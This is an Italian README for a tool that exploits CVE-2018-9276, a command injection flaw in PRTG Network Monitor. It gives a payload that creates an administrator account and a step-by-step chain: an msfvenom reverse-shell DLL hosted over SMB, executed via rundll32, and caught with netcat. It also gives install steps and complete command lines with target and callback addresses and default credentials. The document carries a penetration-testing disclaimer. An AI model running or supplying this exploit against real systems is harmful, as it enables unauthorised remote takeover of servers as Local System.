
CVE-2018-9276 — PRTG Network Monitor < 18.2.39 RCE autenticata. Solo per scopi educativi e test di penetrazione autorizzati.
⚠️ Disclaimer: Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Usalo solo contro sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta. L'uso non autorizzato è illegale.
PRTG Network Monitor è uno strumento di monitoraggio di rete sviluppato da Paessler AG. Le versioni precedenti alla 18.2.39 sono vulnerabili a un'iniezione di comandi autenticata tramite la funzionalità delle notifiche, consentendo a un attaccante con credenziali valide di ottenere l'esecuzione remota di codice (RCE) come Local System (l'account di servizio predefinito per le installazioni PRTG).
Questa vulnerabilità è stata scoperta durante un penetration test da Josh Berry e segnalata a Paessler AG, che ha rilasciato una patch il 20 aprile 2018. Le è stato assegnato il CVE-2018-9276.
PRTG include un sistema di notifiche che consente agli amministratori di eseguire script quando si verificano determinati eventi. Per prevenire l'esecuzione arbitraria di codice, PRTG limita gli script eseguibili a quelli situati in una directory specifica sul server. Per impostazione predefinita, sono disponibili solo due script demo:
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1Lo script demo PowerShell (OutFile.ps1) passa il valore del campo Parameter di una notifica direttamente allo script senza alcuna sanitizzazione. Questo rende possibile iniettare comandi PowerShell arbitrari aggiungendoli dopo un punto e virgola:
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add
Quando PRTG esegue la notifica, il comando iniettato viene eseguito con privilegi Local System.
Nota: Lo script batch (
OutFile.bat) non è vulnerabile — Paessler sembra sanitizzare l'input prima di passarlo al file batch. L'iniezione funziona solo tramite lo script.ps1.
L'exploit automatizza i seguenti passaggi:
1. Check server version → confirm target is vulnerable
2. Authenticate → obtain a valid session cookie
3. Stage a file notification → initialise a writable output file on the target
4. Trigger the file notification → execute it via /api/notificationtest.htm
5. Generate a reverse shell DLL → msfvenom (windows/shell_reverse_tcp)
6. Host the DLL → serve it over SMB from the attacker machine
7. Stage a command notification → inject rundll32.exe <UNC_PATH>,0 after the output file
8. Trigger the command notification → execute the DLL on the target
9. Catch the reverse shell → nc -nvlp <LPORT>
PRTG consente di eseguire come notifiche solo gli script situati nella propria directory di installazione, quindi non possiamo semplicemente caricare ed eseguire un binario arbitrario. In alternativa:
msfvenom per generare una reverse shell Windows come file .dll..dll su una condivisione SMB sulla macchina dell'attaccante.rundll32.exe \\attacker\share\payload.dll,0 tramite il parametro della notifica PowerShell.rundll32.exe può caricare ed eseguire una DLL da un percorso UNC, aggirando la restrizione su quali file PRTG può eseguire direttamente.
msfvenom (parte di Metasploit Framework)netcat (nc)impacket — necessario solo per il server SMB integrato (opzionale, vedi --no-smb)pip install impacket
Se disponi già di un metodo per ospitare la DLL (ad es.
impacket-smbserver,exploit/multi/handlerdi Metasploit, o un altro server SMB), puoi saltare del tutto impacket utilizzando--no-smbe--shell-location.
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # only impacket
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
options:
-i, --host Target IP or hostname
-p, --port Target port (e.g. 80 or 443)
--lhost Local IP for the reverse shell callback
--lport Local port for the reverse shell callback
--user PRTG username (default: prtgadmin)
--password PRTG password (default: prtgadmin)
--https Use HTTPS (self-signed certificates accepted)
--no-smb Skip the built-in SMB server (payload already hosted)
--shell-location Override the UNC path to the DLL payload
-v, --verbose Enable verbose / debug output
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# Host the payload yourself first:
impacket-smbserver share /tmp -smb2support
# Then run the exploit pointing to your share:
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\share\payload.dll'
prtgadmin / prtgadmin) abbassano drasticamente la barriera allo sfruttamento.| Campo | Valore |
|---|
| CVE | CVE-2018-9276 |
| Versioni interessate | PRTG Network Monitor < 18.2.39 |
| Tipo | Iniezione di comandi autenticata |
| Privilegi | Richiede credenziali PRTG valide |
| Impatto | Esecuzione remota di codice come Local System |
| Punteggio CVSS | 7.2 (Alto) |
| Patch | PRTG 18.2.39 (rilasciata il 20 aprile 2018) |